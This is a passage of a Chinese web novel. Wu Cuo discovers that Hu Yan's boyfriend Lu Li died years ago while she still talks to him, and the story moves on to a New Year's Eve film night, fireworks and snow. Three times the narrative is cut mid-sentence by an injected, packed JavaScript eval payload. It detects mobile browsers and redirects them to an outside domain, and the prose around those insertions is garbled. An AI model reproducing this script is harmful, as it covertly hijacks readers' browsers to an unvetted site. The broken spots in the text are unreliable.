他发现自己全身都是汗,因为被中途打断,梦里所有的画面都还像是在眼前一样跑马灯回溯着,吴措眨眼的间隙,似乎都能看到陆离的脸出现在他面前。 吴措从床上坐起,摸了下床头柜,里面已经没有烟了。 他打算去走廊吹吹风,刚走出房门,就听到了隔壁的动静。 “现在就要走了吗?不行,我不准你走。” 隔着不怎么隔音的门,呼延的声音从里面传出来。 灯开着,后半夜了。 吴措穿着单薄的家居服在冷风里站了一会儿,手指充血变僵发麻,他抬手甩了甩。 靠,白天该买包烟的。 吴措对听墙角没兴趣,在手指慢慢恢复知觉时,他转身准备回房。 就在这个时候,隔壁的房门忽然“吱呀”一声打开了,呼延从里面走了出来。 满脸小女孩的娇笑。 吴措就没见她这么笑过。 有什么好笑的,中了五百万吗? 吴措不打算遵从礼貌教义,没打招呼继续往自己屋走,却被呼延叫住了。 “你大晚上在外面干嘛呢?” “关你什么事。”吴措冷声说,“管好你自己。” 呼延眉毛快要竖起来,“我去吴措你大晚上吃枪药啦!” 吴措没理,脚下又挪了一下,停住,“人呢?” “什么人呢。”呼延问。 “你对象。”不是要走了么。 呼延抬起手,在吴措面前晃了两下,吴措皱眉后退了一步。 “吴措,你眼睛还好吗?这么大一个活人你看不到?” 吴措怔住一下,又重新看向呼延。 他发现呼延的左手臂半抬虚环起,中间留了一圈缝隙,那动作就像是,在搂着一个人的胳膊。 紧接着他看到呼延朝着自己的左侧抬头努了努嘴,“这就是我和你说的,吴措。是不是挺有病的,我没冤枉他吧?” 吴措:…… 是他还在做梦吗?呼延在干嘛?见鬼了? 还是说,他这是菌子吃多了出现了幻觉——对,菌子。 “呼延。”吴措叫了她一声,向前一步想要再试探一下。 呼延的视线转过来,然后猛地往后跳了一下,满脸惊恐地退步,“我靠吴措你怎么长了条狗尾巴?我靠狗嘴也出来了!我靠好大的狗!” 吴措:…… 凌晨三点,呼延被送到了镇医院急诊。 挂了两瓶水,呼延还在嘴硬:“不是那锅汤的问题,我最近被夜宵传染,抵抗力差。锻炼锻炼就好了……” 宋殊戳了下她的脑门,“你这嘴,记吃不记打!这回幸好是吴措发现得早,不然明天你把这话和阎王爷交代吧。” 呼延菌子中毒,整个小院的人都被喊起来排查了,毕竟这锅汤所有人都喝了,按理说呼延中了毒其他人应该都逃脱不了。 但事实是,不管是年近古稀的香香女士,还是迟迟、小黄豆还有星星几个,身体都没出现一点不对。 兰姨想起来呼延提前尝的那口,和宋殊告了状,宋殊从送呼延去医院的路上开始,一直念叨她到现在。 呼延实在不耐烦了,“求求你了,宋院长,我头好晕,又想吐了,您能不能消停一会儿,大半夜的你怎么精力这么旺盛呢?实在不行要不去村口跑两圈吧。” “你再给我贫一句?”宋殊又戳了一下,“我念叨你你还这样,不念叨你不直接窜天了。” “我现在真的想窜天。”呼延对着天花板生无可恋道。 吴措在旁边开口:“要不宋医生先回小院吧。快天亮了,小院还有很多事。刚才医生也说了,呼延问题不大,再挂一瓶休息一会儿就没事了,我在这等着她挂完水送她回去。” 宋殊刚想说话,就被呼延抢了先,“对对对,我伟大的院长母亲,小院比我更需要你。快走吧!你走了我的病好的会更快一些!” 呼延的腔调弄得宋殊又好气又好笑,她板脸整肃了下自己快笑出来的表情,“我才懒得在这陪你,不过吴措,你也跟我回去吧,这里有医生护士,他们看着就行。” “没事,我回去也没什么事做。”吴措说,“而且也没多久了,呼延再怎么样也是个女孩,一个人回去也不安全。” 宋殊想了想,没再坚持,“也行,那就拜托你了。” “没事。” 宋殊走了,呼延脸贴着枕头扭过去,“喲,还会说人话呢。” “嗯,毕竟不是真的狗。”吴措话里颇有几分阴阳怪气。 呼延脸又扭回去,“瞧你那小气的样子,我这是被菌子大神迷惑了眼睛产生的幻觉好吧!而且你要不是半夜在外面晃,我也看不到你这条、呸、你这个人啊。你是不知道,一条一米八多的大狗忽然出现在你面前是种什么惊吓!” “那我还得向你道歉?” “没关系,本小姐宽宏大量。” “呵。” 吴措倒了杯温水放在床头柜,呼延不问自取拿起就喝,喝完水,呼延也没放下杯子,用纸杯挡着下半张脸看向吴措。 “有屁就放。”吴措说。 “其实,吴措。”呼延犹豫片刻,指了指吴措的身后,“你尾巴还在。” 吴措冷眼瞥向她,“那我现在咬你,你是不是会得狂犬。” 呼延把纸杯往上挪了一寸,明知道会被怼还是继续说:“你的耳朵也在。” 呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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话毕,呼延一只胳膊抵着床沿,另一只胳膊伸直了朝旁边沙发上的包够过去,伸了半天吴措没帮一下忙,呼延心里又骂了他几遍,终于手指勾到包带,一个勾挑把包抓了过去。 呼延从包里拿出手机,下一秒抬脸看向吴措,满脸恼气,“都怪你,电话都挂了。” 呼延打开电话界面,快捷键拨了回去,电话很快接通,呼延立马换了种神色,“你到了吗?路上遇到事情了?什么?你人没事吧?那就好。我没事,我身体特好你又不是不知道。好啦,知道啦,我会照顾好自己的,你也是。嗯嗯,想你……” 也许是顾忌吴措在一旁,许多话不好说,所以呼延的电话只打了5分钟,挂断后呼延又继续给陆离发微信,拍了照片传过去,汇报自己有在好好听医生的话。 她没有注意到,站在她床边不远处的吴措,脸色越来越僵。 几个来回的微信发完,呼延把手机放在床头柜上,从床上坐起,“我去一趟卫生间。” 说罢,呼延一手举着药水瓶,趿拉着拖鞋向门口走去。 关门声让吴措从愣神中走出,几秒钟后,吴措鬼使神差地拿起了呼延的手机,按照他瞥到的密码解了锁,吴措拨通呼延的最后一则通话。 他刚才听到的没错,对面的声音是—— “对不起,您所拨打的电话是空号……” 吴措感觉自己浑身冰凉,血液在四肢凝滞。不好的预感在心底慢慢铺陈,然后逐渐清晰。 他退出电话,打开微信界面,唯一置顶是“L”。 点开后,最后一条消息来自2分钟前。 【hu:看我多乖!这是第三瓶了!厉害吧!】 在这条消息前,是一个鲜红的感叹号。 而在这页聊天框里,不止这一个感叹号。 【[图片]】——2分钟前 【夜宵今晚好多啦,你安心工作吧!】——昨天21:36 【拍得真好!陆大摄影师求签名!】——昨天15:24 …… 吴措知道这个红色感叹号代表的含义。 不是拉黑或者删除,他很确信。 他认识这个微信号,这个账号在四年前,就因为号主去世,被他的家人注销了。 35. 遗忘 从镇医院回到小院时,天边刚浮现鱼肚白。 宋殊把车留给了他们,开车回去的路上,吴措的注意力非常集中,他的视线紧盯着前方,车速平稳,穿过空旷的大路,走过狭窄的村间小路,绕过两条小巷,最后停在小院门口。 为了避免和呼延说话,吴措避开了所有和她可能的眼神交汇,他从驾驶位走下,一言不发走向和他们房间相反的方向。 几分钟后,张清弛的房门被敲开,小院作息松散,还没到平常查房的时间,张清弛过了一会儿才睁开眼,起身拿起床边的眼镜戴上,问:“谁啊?” “我。”吴措说。 张清弛下床开门,“这么早?呼延怎么样了?” 老张是在封筝半夜敲门排查的时候知道的呼延半夜菌子中毒的事,他猜测吴措这么早找过来八成也是和呼延有关。 事实上,确实也是。 吴措单刀直入,“呼延的男朋友叫什么?” “小陆啊。”老张睡眠不好,半夜被叫醒后花了好长时间才睡着,现在又被叫起来,爷爷辈的人困成了孙子,“你问这个干嘛。” “陆什么?” “陆什么?”老张好奇吴措这个问题的缘由,但还是给了个答案,“陆离啊。呼延真没和你讲过啊。” 陆离,陆离。 真的是陆离。 呼延为什么从来没有和他说过这个名字。 是因为他之前的某些行为让她对他的目的产生误解,所以刻意避开这些和陆离相关的信息,好让他“无从下手”破坏他们的感情吗? 还有那棵桃花树上挂着的书签,“H&L”。 他但凡不那么想当然地稍微思考一下,就会知道,陆的第一个字母就是L。 原来有那么多迹象,可以让他很久之前就发现真相,可是他全都错过了。 “合影。”吴措忽然说,“你不是说你有和陆离的合影吗?我要看。” 这天下叫陆离的多了,也可能并不是一个陆离。 可能是陆离去世后,呼延找了一个和他名字一样的替代品。也可能是他原本叫别的名字,后来呼延为了纪念陆离强制他改了这个名字。 “怎么了这是,大早上跑过来又是问人名,又是要看合影的,你不会也中毒了吧?这菌子的毒性确实也有可能十几个小时之后才发作的。”老张凑近瞧吴措身上有没有什么中毒的痕迹。 吴措的表情无比认真,他看着张清弛,“我要看一下合影,这对我来说很重要。” “看看看,我这不是得找一下么。”张清弛虽然不解,还是照做了。 他相册里照片不多,但找起来还是花了一会儿,毕竟是很久之前的照片了。 “看,就是这张。那时候还没来这儿呢,小呼延大学刚毕业?还是没毕业来着,两个人一起去看我,第一回见我印象就不错,小伙子说话沉稳,有主意。正好搭配小呼延这个天马行空的……”张清弛看着照片陷入回忆。 画面里,张清弛站在最左,扶着眼镜似乎是还没摆好动作。呼延站在最中央,挎着身边人的胳膊冲着镜头做鬼脸,而她挎着胳膊的那人,温和平静地偏头看着她笑。 眉眼、轮廓、笑容,不是陆离,还能是谁。 - 呼延回到小院后受到了特殊“关照”,兰姨给她炖了锅松茸乌鸡汤,炖到一半特意提前跑过去问呼延,要不要先尝一口。 呼延无语凝噎,有这么嘲笑病人的么! 香香女士早上晨练遛弯,见到呼延也问,听说被狗吓哭啦? 呼延这就忍不了了,这是谁传出去的?她当时就是一时没反应过来,腿软了好吧,哪有吓哭那么夸张。 就连王小果也来凑热闹,他昨天被剥夺了采菌子的权力本来就记恨在心,看呼延回来偷偷告状:是封筝姐姐采的见手青!你去告诉院长开除她! 呼延本来想躺在秋千上休息一会儿,结果根本不得安宁,她只好回房间躲清静。进门前呼延视线在隔壁停了一下,转了个方向走到了吴措房门前。 她回来后才记起吴措昨天还发烧来着,昨天折腾半宿,也没睡好觉,不知道现在怎么样了。 “吴措。”呼延屈指敲了两下门。 “在吗?吴措?” 里面没有声音。 睡了?还是去工作了。 呼延不再计较,吴措这么大个人,肯定能照顾好自己。她抬步一个转身,回到了自己房间。 外面的敲门声和脚步声消失,站在门口的吴措才缓慢转身,走到书桌前。桌面上放着那张明信片,明信片里的呼延比老张的合影里大一些,比现在小一些,灿烂的样子没什么两样。 他的电脑界面停留在“精神分裂”的搜索界面,虽然他接触了张清弛,也翻过一些相关的病例,但他无论如何也无法把这种病和呼延联系到一起去。 她看起来那么正常,她比正常人还要正常,比健康的人还要健康,怎么会生病了呢。 在发现呼延已经“忘记”陆离的时候,吴措有过为陆离感到不值的阶段,但就在不久前的刚才,他才发现呼延忘掉的,是陆离已经死了的这个事实。 她对陆离的爱,已经到了这种程度,深到生病了。 呼延曾经和他聊过张清弛的“精神分裂”病症,张清弛在出现那些幻听、幻想的时间之外,都表现得像是一个正常普通的人。 吴措没有想过,呼延在说这些的时候,她介绍的也是自己的病情。 她是健康的人,除了在她的世界,陆离还活着之外。 她自己知道吗? 她不知道。 如果她知道,就不会看起来那么自洽和快乐。 但其他的人都知道。至少封筝、八哥、宋殊,还有一些职工都知道。甚至王贲,这个人都知道。还有那个无良记者…… 很多细节涌入他的脑海。 “你在这待多久?……别招惹呼延。” “……因为呼延是个好人。” “也是个有病的啊。” “实访L城某疗养院:全员有病” …… 但除了王贲和那个无良记者外,所有人都选择了维护呼延的“忘记”,他们配合她,假装陆离还活着,假装呼延是健康的。 在呼延和陆离说话的时候,提起陆离的时候,带着陆离和他们打招呼的时候,他们默契表演着自己能看到那个不存在的人。 像一个巨大的楚门世界,一个虚空的无实物表演剧场…… 放在其他任何场景下,吴措想到这些的时候,应该会感觉到后颈发凉的诡异,可当下他的第一反应,只是觉得,心疼。 他共情、理解了那些选择配合表演的人。 因为呼延是个好人。 …… 时间很快到了除夕,在小院的半个多月,米玉的社恐其实进步不大,因为她大部分时间,都是只和向晚星在一起。 向晚星的话很多,米玉大多数时候都是个倾听者,在向晚星的叙述中,米玉知道了小院的很多事情。 比如,除夕是他们一年中最期待的一天之一。 因为这是小院的电影之夜。 小院每年的除夕都会在院子里支起火锅和烧烤架,围坐在一起用幕布看电影,电影的选择由全体匿名投票选出,今年的是一个有名的动画《寻梦环游记》。 除夕这天米玉第一次见到向晚星的爸爸妈妈,在此之前米玉只匆匆见过向晚星妈妈一眼,是她去接向晚星复诊治疗。 这天是除夕,米玉说,会有一些病人、职员回老家过年,也有一些病人的家属会趁热闹来小院一起过年。 然后向晚星问米玉,你不回去的话,你爸妈来不来? 米玉摇头,她找了个借口,说爸妈在国外。 实际上她并不知道两人去了哪里,以前每年除夕关于她跟谁过年都是一个争执,现在终于好了,她不需要听任何一个人争辩自己如何忙,又如何无法带着她一起过这个除夕…… 再独特的除夕,饺子都是必备品,吴措呼延几个负责支幕布架,包饺子的事情竟然落到了米玉几人头上。 米玉不擅长这些,只能帮忙剥蒜和馅,向晚星对这些简直信手拈来,她包的饺子形状饱满坚固,放在桌面上很久都不会倒。 米玉一边埋头剥蒜,一边佩服向晚星的手艺,正剥着向晚星忽然凑到她耳边说:“我刚才包了一个红枣的饺子,吃到这个饺子的人明年一整年都会很幸运的!我做好标记了,一会儿盛给你吃。” 但向晚星没料到饺子下了锅以后,她捏出来的标记被热汤滚没了,这个饺子在锅里兜兜转转,最后竟然落到了呼延的嘴里。 “红枣!”呼延吃到后直接原地蹦起,“今年终于轮到我幸运了!” 她伸出手来向四周拨弄手指做着掸空气的姿势,“来来来,都一起来沾沾运气。” 没一会儿王小果也“呀!”了一声,“我也吃到了!” “不对啊,我就包了一个红枣饺子。”向晚星奇怪道。 王小果从嘴里拿出“红枣核”,发现竟然是个米粒大小的石子,众人哄笑。 封筝逗王小果:“这‘石子饺子’也是有讲究的,是说让王小果同学新的一年多多听话,不然就会被扔小石子。” 王小果听了前半句还在龇牙,听到后半句直接双臂抱胸,嘴巴嘟出半米远。 “来把这个勺子给王小果挂嘴上,刚好没地方放。”八哥说。 小院再次一顿哄笑。 “好了没啊吴措!”呼延手搭在椅背上回头看向还在捣鼓投影的吴措,“火锅都开锅了,你电影还没放出来,行不行啊。” “请问你这个投影几年没用了,按钮上沾了什么东西摁不动了你知道吗?”吴措凉凉一眼望过去。 按钮……该不会是去年呼延放投影的时候不小心滴上去的那滴辣椒油凝固了吧。 “哎呀你用遥控器嘛。”呼延转移话题。 “遥控器在哪?” “在你眼皮底下。” 吴措一个眼刀,呼延放下筷子走过去,当着吴措的面,真就在他眼皮底下的凳子上拿起了遥控器——被一包薯片挡着。 “这不就好了嘛。” 投影仪打开,熟悉的片头声响起,一众吃饭的人齐刷刷看过来。 “吴措老师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14608296|153914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”呼延蹲在他旁边,仰脸冲他笑笑,“可以去吃饭了。” 因为漫长的调试环节,电影播放到10分钟的时候,几个小孩就吃完坐不住,一人搬着个小板凳坐到投影前近距离看去了。 大人们则慢悠悠吃着烧烤夹着肉,顺带喝起了小啤酒。 “……不许你提那个人。你最好是把他给忘了。” 电影里米格尔的奶奶拍着桌子说出这句台词。 呼延向嘴里倒了一大口啤酒,“你不觉得……” 吴措看过去。 “这老太太的裙子还挺时髦的吗?”呼延接着说。 吴措无语,“还以为你要说什么有深度的话。” “这句话还没有深度?这可是我锋利的时尚目光所得出的独到见解。”呼延又喝了一口酒。 “时尚?”吴措瞥了她一眼,“你的意思是,睡裙和长棉裤的时尚?确实独到。” 呼延毫不在意,“保暖和舒适也是一种时尚,像你这种吃火锅也要穿衬衫的人是不会懂的。” “还好我不懂。”吴措说。 “不懂就学,我可以免费教你。” “谢谢,不必。” “你还挑上了?” “谢谢,不敢。” 呼延“哼”他一声,“光说话去了,酒杯里还有这么多,养鱼呢?” 她拿了瓶江小白给吴措倒满。 “你想害死我吗?我这里面是啤酒。”吴措就要把酒倒掉,被呼延拦了回来。 “啤酒就剩了个底了。而且你喝完啤酒再喝这个,在肚子里混合不是和在酒杯里混合一样么。” “我没打算喝白酒。” “啊?白酒都不会喝,你是男人吗?”呼延故意拿话刺激他。 吴措没上当,“可能学的生物书不一样吧,我上学的时候男人指的是含有Y染色体的人类。” “还咬文嚼字上了。”呼延妥协,把酒帮他倒了,又满上一杯江小白,“反正我男朋友就能喝。” 吴措推开酒杯的手停住。 呼延又给自己倒了一杯,咂着抿了一小口,她自己也喝不来,一口下去脸皱成一团。 “但他不怎么喝,我只见他喝过两次,好几杯都没醉。酒量这么大,平时却不怎么喝酒,够男人吧?”呼延有些微醺的意味,抱着酒瓶朝吴措炫耀道。 如果放在以前,吴措会说,一会儿说会喝酒是男人,一会儿说不喝酒是男人,到底听哪句。 但他没说。他什么都没说。 默默吞下了一整杯酒。 “我靠没看出来啊吴措,你酒量了得啊!”呼延竖起大拇指。 但很快又说:“不过呢,还是比不上我男朋友。” 她的脸在院子微弱的灯光下显出酡红,她得意地、满脸幸福低冲吴措咧嘴笑,又拍了拍他的肩膀,安慰说:“但没事,你比起大部分人,还是优秀的。就是比不上陆离就是了。” 白酒的辛辣感后知后觉顺着他的喉咙灼烧着他的胃,将他的内脏搅成一团。 吴措嗤了声,满不在意地戏谑一笑,“梁静茹给你敬的酒?谁理你啊。别拿我和你男朋友比。” 呼延的酒量已经接近阈值,她一只胳膊撑着下巴,大着舌头冲他道:“我男朋友给我的勇气!” 说完下巴一点,瞌睡似的向前倾了下身体。吴措下意识接住她,但呼延没倒过去,反倒一下子被风吹得清醒了一些,眨眨眼皮左右看了下。 “我去怎么电影都放了一半了,不和你说了,我要专心看电影!”呼延说完坐直,目光看向投影去。 但实际上是她停不下嘴,“你知道吗?其实投票选出来的是加勒比海盗,被我暗箱操作了。” 呼延这会儿有些迷瞪瞪的,以为自己说的是悄悄话,但实际上声音并不小,好在没人听见,或者大家听见了,但也没人在意。 “这么喜欢?”吴措说。 “我最喜欢的电影之一啊,你不知道吗?”呼延说,“算了,你当然不知道。” 呼延夹了个花生扔进嘴里,“因为我很喜欢这个电影的那句台词。” 说完,她看向吴措,盯着他看,直到吴措问出来,“……什么台词。” 呼延嘻嘻一笑:“死亡不是终点,遗忘才是。” 死亡不是终点,遗忘才是…… “这句够有深度吧?”呼延说着又去拿酒喝,她的杯子里被吴措换成了温的橘子汁,喝了一口“哎?”了一下,但因为味道不错,所以又喝了一大口。 “这个电影我第一次是和陆离一起看的。”提到陆离,呼延的笑更明显起来,眼底两道浅浅的小坑变深,“这也是他最喜欢的一句话。” “是不是很有意义?”呼延转向吴措寻求赞同。 吴措吞下又一口酒,表情淡淡,“没什么感觉。” 呼延没意思地糗了他一下,“真是没眼光、没品味。反正你这辈子都比不上陆离。” 说完呼延不再理吴措,她一边打着醉醺醺的瞌睡,一边强迫自己睁开眼睛把电影看完。 迷迷糊糊间,她似乎听到耳边一道模糊的声音。 “那下辈子呢。” 36. 初雪 呼延猛地一抬头,眼睛还眯着,“刚才是你在说话吗?” 吴措用花生米扔到她胳膊上,“做梦呢。” 呼延眼睛睁开了,然后看着周围愣了一下,“人呢?” 院子里竟然只剩她和吴措了,投影仪上正在循环播放着待机风景图,火锅已经不再沸了。 她身上不知道什么时候被披了个毯子,呼延又问:“你给我披的?” “去看烟花了。”吴措只回答了这个。 “啊?零点了吗?”呼延慌忙找出自己的手机,“啊!11点57了!你刚才怎么不叫我啊!” 吴措稍微收拾了下自己面前的桌子,声音随意,“看你睡得太香了,没忍心。” 呼延从凳子上弹起来,一边嚷嚷道:“除夕零点的烟花每年都特别盛大,现在过去最佳观赏位肯定没了!哎呀都怪你刚才没喊我。” “烟花不是什么时候都有?想看改天带你去迪士尼看个够。”吴措没起身,仍旧坐在椅子上慢悠悠说话。 “零点的烟花怎么能和平时一样呢?”呼延说,“这时候应该和爱的人在烟花腾空的时候一起迎接新年啊。” 吴措抬起头,看向呼延的身侧。 他现在也在吗? “我一会儿要给陆离打视频电话,去年就差点没赶上,今年不能再错过了。”呼延一边说着一边朝门口走。 走到大门,呼延停下来回头,“你对着空气发什么呆呢?快点跟上啊。” …… 城边小镇还没有被烟花禁令覆盖,他们在往放烟花的广场赶的时候,路过的人家陆陆续续开始放出自家的烟花。 “嘭”一声,在半空炸开,散成火花向人间坠落。 “你长这么长的腿是用来当摆设的吗?”呼延边跑着边回头催身后不疾不徐的吴措。 其实吴措也没有故意慢走,他的步速甚至高于平时,只是这样也很难赶上兔子一样在前面狂奔的呼延。 “非要看那一场烟花吗?”吴措大长腿一迈赶上呼延跑两步的距离,“刚才门口两个小孩手里的烟花棒不是也挺漂亮的。” 呼延都懒得回头了,“故意的是吧吴措,我跟你说,如果赶不上零点的烟花,你就——” “我就什么?” 呼延一时也没想出什么好主意,脱口而出,“你就赔我一场烟花!得是那种20万块钱一场的,在天上炸一晚上。” 吴措手揣兜里离她两三米的距离,周围是热闹的人声、烟花声和此起彼伏的犬吠,他快走两步跟上呼延。 “趁机勒索啊。” “那又怎样。” “太不环保了,能不能想点有利于城乡建设和大自然可持续发展的主意。”吴措偏头说。 “休想PUA我,就算是罪孽,也得算在你头上,谁让你不叫——啊,最后10秒了!” 呼延话还没说完,就听到远处沸沸扬扬的人群中传来一阵逐渐兴奋起来的倒计时声,而他们距离所谓的最佳观赏点还有足足两百多米。 “8、7——” “来不及了,来不及了。”呼延忽然停下来,“准备许愿!” 说完还不忘带上吴措,“别说我没告诉你,这场烟花是有些玄学在的,我去年许愿星星的病能治好,今年就找到治疗方案了。” “3——” 呼延急忙闭上眼睛执行仪式感,鬼使神差地,吴措跟着她的动作闭上了眼睛。 “2、1——新年快乐!” 远处鼎沸的人声中齐迎新年,烟花一层又一层的绽放,很多人闭眼许愿,很多人呐喊尖叫,很多人拥抱…… 吴措睁开眼睛,看着双手合十、双眼紧闭,仍旧在虔诚向神明许愿的呼延。 她许了什么愿望。 陆离、星星、小院……反正不会是他。 呼延的眼睛迅速睁开,空中绽放的烟花带着火光微弱地投映在她的脸上,她的嘴角带着餮足的笑意,“也算是赶上了吧,今年肯定也可以。而且我可是吃出了幸运红枣的。” “你许愿了吗?”呼延转向吴措,吴措还没来得及开口回答,她又忽然想起什么,“对了!” 她忽然从口袋里掏出手机,在屏幕上滑动几下,而后将手机抬高到和脸平齐的位置,对准烟花的方向。 “陆离!新年快乐!看,烟花漂亮吗?” 她一边打着视频电话,一边向烟花点走着,脚步雀跃轻快,从背影看,像是毫无心事的小朋友。 “你零点许愿了吗?” “我才不告诉你我的愿望!说出来就不灵了。” “那你稍微透露一点?好吧好吧,我不听了。反正肯定和我有关对不对?” “你是不是很辛苦啊。你可以告诉我的,我永远在你身后……” “……” 呼延走得很慢,吴措和她的距离却越来越远,他走一下,停一下,呼延的声音在他耳中时远时近。 “再说一遍。陆离!新年快乐!你要每一天都快乐。我也想你,超级超级想你。” 呼延的电话终于挂断,这场一年一次的烟花也终于燃尽了。 乌泱泱的人群开始往回走,他们站在逆向人群的方向里,冷风吹拂。 “走吗?”吴措说。 呼延却说:“都走到这了,这会儿回去不是很可惜么。走吧,看烟花去!” 他们和人群逆向而行,看烟花的人里有大半都是桃源村村民,他们和两人打招呼,问怎么才来啊,呼延就指着吴措抱怨,说都怪这个人,没喊醒她。 紧走着慢走着,终于赶到广场的时候,广场上已经只剩下满地的残红,是烟花燃烧的余烬。 呼延蹲下,从地上捡起一小片,有些可惜地说:“刚才如果近距离看肯定更漂亮。” 烟花在远处看才是最漂亮的。吴措想说这句话,但他没有开口打扰呼延。 她的身影在昏黄色的灯光下显得很独立,也很快乐。 “啊啊啊——还是没赶上吗?第二次了!” 身后传来熟悉的哀嚎声,呼延回身看过去,竟然是拉着米玉手跑过来的向晚星。 在她身后,还有王小果、迟迟和小黄豆三个小孩。 呼延站起来,“你们怎么现在才过来?不是早就来了吗?” 星星瘪嘴欲哭无泪的样子,“那个辣锅有点太辣了,我闹肚子耽搁了一会儿,米玉姐姐等我一起,结果出来的时候就已经错过零点了。” 米玉附和着点点头。 “我们是偷偷跑出来的!”王小果喊道,“不对,迟迟是偷跑出来的,我是为了等迟迟!” 呼延想起来,每年除夕兰姨都不守夜,雷打不动在10点前回去睡觉,然后顺便拖走迟迟。看样子大概率迟迟是潜伏在被窝,等兰姨睡着后和两个小伙伴潜逃出来的了。 “听说今年的烟花还有生肖图案,你看到了吗真真姐姐?”星星问呼延。 “看是看到了。”呼延说,“不过我们当时也没赶过来,也是在老远的地方看到的。” “至少你看到了,我们赶时间过来,都还没来得及许愿。”星星一脸苦相。 呼延安慰别人倒是熟练,“没关系,元宵节放灯还可以再许一次,到时候多攒几个愿望一起许了。” 正在这时候,又一波人走了过来。 速度倒是不紧不慢,没一点赶时间的意思——当然,现在也没什么好赶的了。 来人正是封筝一行,她搀着香香女士,八哥像个保镖似的跟在身后。 “你不是告诉我这里有烟花的吗?怎么没有?你不会是骗我的吧。”香香女士拂开封筝的手,蛮不高兴地看着她。 “谁让您老人家非要梳头,换上新衣服才过来呢。”封筝一副很没有办法的样子。 “什么老人家,你骗完我,还要打趣我是吧?” 呼延默默心疼封筝一秒,香香女士方才吃饭的时候还好好的,现在突然又糊涂了。 “封筝没骗你。”呼延走过去,“这里本来有烟花的,但是刚才放完了,你看地上是不是?” 呼延指了指地上残余的烟花灰烬,香香女士却盯着她看,“你是谁?” “我……”呼延不太清楚香香女士现在处在个什么阶段。 “你是,小风筝的同学吧?”香香女士想起来什么似的。 中年版香香女士。 “对的,我是封筝的同学,是她最好的朋友。”呼延面不改色。 “你是小风筝的朋友啊。”香香女士有些惊喜,反复打量着呼延,“不错,不错,好好相处,互相帮助。” “你也来看烟花?”香香女士问呼延,呼延点头。 “烟花呢?” 又绕回来了。 “这里还有烟花!” 迟迟清脆的笑声在不远处响起来,几人看过去,发现吴措正带着三个小孩捡地上残余未尽的烟花。 事实上,是吴措走在前面捡已经烧完的烟花筒,确认安全后,再捡起来一一交给排队领取的小孩。 呼延几人走过去,吴措从口袋里拿出打火机,他抬头看了呼延一眼,抬抬下巴。 “你来?” “我才不来。”呼延抱着胳膊看着。这种事也就吴措做得出来。 吴措低头笑了下,手指按下打火机,蓝色的小火苗噌地冒出来,他将聚成堆的烟花筒从顶部点燃,火苗顺着烟花筒从上往下降落,看起来就像是流淌的火焰香槟。 这人,用个剩的烟花筒也能装个大的。呼延在心里吐槽,但嘴角却没噤住抬了起来。 几人在夜色中看着火苗燃烧发出轻微的哔剥声,小孩捧场地捂着耳朵,站在几米的距离外,看吴措点燃这些称不上是烟花的纸筒。 “好浪漫呀。”迟迟捧着自己肉嘟嘟的脸笑得开心。 “浪漫……”小黄豆重复她的话。 八哥拥着封筝的肩膀,少见地亲昵地吻了下她的额头,“新年快乐。” “新年快乐。”封筝说。 吴措做完这些,跟着他们站到一起,三个小孩拿着剩下的没有点燃的烟花筒玩起来。 吴措走到靠近呼延的位置。 “新的一年了。”他说。 呼延闭眼深吸了口空气,冷气和烟熏味道混杂,是新年的气息。 “是啊,又是新的一年了。” …… 回到小院的时候已经将近凌晨一点,困意在迈进门槛的一瞬间袭来,呼延简直是强撑着去胡乱洗漱了一番,只为给自己的新的一年一个体面的开始。 最后一头埋进枕头里的时候,甚至没有来得及擦脸。 但第二天一大早,忽然就被门外乌啦啦的声音吵醒了。 “给我拍照!” “这么快就化了啊……” “……” 大年初一有拜年的习俗,每年会有很多人过来给宋殊拜年,大部分都是宋殊帮助过的病人。但大家都知道个规矩,就是别去吵呼延,因为她雷打不动要睡懒觉的。 最开始宋殊还会去象征性地叫一两声,说着“大年初一的状态就代表了这一整年的状态,睡懒觉像什么样子”,呼延就说“如果一整年都能睡懒觉,那这一年也太幸福了吧”。 宋殊拿她没办法,也只能和来拜年的人说,呼延被她惯坏了,别管她。 “干嘛呀……这么吵……”呼延新的一年起床气也被刷新,脸怼在枕头上埋怨道。 门口传来“扣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她赶在吴措说理前倒打一耙,“怎么不早点叫我出来!” “‘不要吵我啊!’”吴措拖着腔调学她刚才的语气,带着调侃的神色,“是谁说的来着。” 呼延就是擅长没理辩三分,越没理就越要辩,“那你也应该坚持,这可是枥城的雪!十年一遇的!我竟然没看到!” 她正愤慨着,吴措稍稍侧身,从他的身侧、呼延的视角盲区里端起一个白色的盆。 然后高举起,在呼延瞪大眼睛惊讶看过去的时候,从她的头顶上方向下洒了下来。 盆里收集的雪有限,或者说这场雪本身有限。 随着太阳升高,温度也上来了,雪在盆里化了一半,已经失去了原本松松软软的雪的质感,洒下来的时候并没有想象中的美感。 只有一秒钟,可能只有半秒,雪在空中划了个弧度,又扑簌簌落在呼延的发间和肩膀上。 呼延没有把时间浪费在发呆上,她眼疾手快用手掌接住了一部分,但这层薄薄的雪很快在她手心里化掉。 雪水的触感不同于所有的物体,它和冷饮表面滴落的水滴是两种样子,雪水本身就代表了一种从天而降的惊喜,蒸发的时候会自然地带着寄托离开。 她上一次抚摸到这种感觉,还是四年前,在北城的时候。 “真的下雪了啊。”呼延不舍地看着在自己手心化掉、又慢慢淌下去的雪水。 “还能是假的么。” “竟然是真的雪。”呼延有些语无伦次。 